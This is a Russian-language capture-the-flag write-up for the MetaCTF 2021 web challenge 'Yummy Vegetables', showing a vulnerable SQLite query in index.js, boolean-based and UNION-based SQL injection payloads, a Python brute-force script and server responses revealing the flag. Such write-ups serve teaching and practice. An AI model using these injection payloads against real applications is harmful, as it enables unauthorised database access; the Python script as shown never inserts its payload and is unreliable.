MetaCTF 2021 (Yummy Vegetables)

Web category — Yummy Vegetables.

Challenge.

Points: 300
Solves: 207
I love me my vegetables, but I can never remember what color they are! I know lots of people have this problem, so I made a site to help.
Here’s some sauce to go with the vegetables: index.js

Решение.

Предупреждаю, решение не из лучших, и после того как решил этим способом, понял, что можно было сделать всё в разы проще 😛

Заходим на сайт, и нас встречает простенький интерфейс, единственный функционал которого — поиск овощей.
site
Глянем index.js, данный в исходниках к заданию. Важных строк здесь две, первая строчка указывающая, что используется sqlite3 и строчка формирующая запрос.

3   const sqlite = require('better-sqlite3');
...
39  const query = `SELECT * FROM veggies WHERE name LIKE '%${req.body.query}%';`;

Почему-то во время СТФки я решил, что тут нужна Boolean Based инъекция. Окей, пробую сформировать базовый пейлоад:

s' AND 1=1 OR name LIKE 'a 

При 1=1 возвращается 10 результатов, а при 1=2 результатов 5. Теперь узнаем кол-во таблиц:

s' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' )=number_of_table OR name LIKE 'a

Узнаем, что всего 2 таблицы. Следующим шагом, нужно узнать названия таблиц, пишем простенький скрипт на питоне, в котором будем менять значение параметра "query" на наши пейлоады.

import requests
import string

url = "http://host.cg21.metaproblems.com:4010/search"
session = requests.session()
result = list("")
asd = string.printable[:-6]
i = 1
while True:
    for character in asd:
        r = session.request("SEARCH", url, json={"query":f""})
        print(f"trying {''.join(result) + character}")
        if ('10 result(s)' in r.text):
            result.append(character)
            i+=1
            break

Для этого используем следующмй пейлоад:

s' AND (SELECT hex(substr(tbl_name,{i},1)) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 2 offset 1)=hex('{character}') OR name LIKE 'a

где параметр {i} — номер символа, а значения limit 2 и offset 1 означают, что берём срез названия второй таблицы (P.S. соответственно, если бы были значения limit 1 offset 0 это был бы срез названия первой таблицы). Запускаем скрипт, и узнаем, что название второй таблицы:

the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5

Окей, идём дальше, теперь узнаем названия столбцов из этой таблицы:

s' and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOTNULL',''),',','~~'),'`',''),{i},1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5')=hex('{character}') OR name LIKE 'a

где {i} — номер символа, и соответсвенно {character} — перебираемый символ
Сложноватый для понимания пейлоад если честно 🙂 Но если в двух словах, он просто считывает названия всех столбцов, разделяя их названия двумя символами ~, то есть вид будет примерно такой: column1 ~~ column2 ~~ column3. Запускаем и узнаём, что в таблице всего один столбец — flag. (Predictable :P)
И остался последний шаг, извлеч данные из таблицы, тут уже пейлоад попроще 😀

s' and (Select hex(substr(flag,{i},1)) from the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5 limit 1 offset 0)=hex('{character}') OR name LIKE 'a

где соотвественно первый параметр у substr() это название колонки. Запускаем, и получаем заветный флаг:

🚩 MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}🚩

Теперь о простом решении 😀

Зачем тут вообще Boolean Based, мы же видим ВЫВОД. Ловим запрос в BurpSuite и с помощью следующего пейлоада узнаем кол-во таблиц и их названия:

' and 0 UNION SELECT name, null, null FROM  sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%';--

В ответе:

{"success":true,"msg":"2 result(s)","results":[{"id":"the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5","name":null,"color":null},{"id":"veggies","name":null,"color":null}]}

Теперь просто прочитаем из нужной таблицы значение колонки:

' and 0 UNION SELECT flag, null, null FROM the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5;--

В ответе:

{"success":true,"msg":"1 result(s)","results":[{"id":"MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}","name":null,"color":null}]}

Полезные ресурсы:

Всем спасибо за участие, и до встречи!

Оставьте комментарий